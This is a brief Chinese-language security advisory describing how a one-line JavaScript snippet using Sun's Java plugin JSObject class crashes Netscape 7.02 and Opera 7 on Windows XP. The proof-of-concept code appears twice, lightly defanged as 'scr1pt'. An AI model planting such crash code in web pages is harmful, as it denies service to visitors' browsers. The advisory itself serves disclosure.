涉及程序:
Netscape 7.02版/Opera 7版
描述:
使用java脚本导致Netscape/Opera崩溃
详细:
攻击者通过运行下列格式的java脚本代码能导致运行在Windows XP上的Netscape 7.02版和Opera 7版崩溃:
<scr1pt language=3D"Javascript">
t =3D new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</scr1pt>
用于测试的JVM是来自SUN的Java 1.4.1_02版。
攻击方法:
示例代码:
<scr1pt language=3D"Javascript">
t =3D new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</scr1pt>
解决方案:
目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:
http://www.netscape.com/http://www.opera.com/
附加信息:
无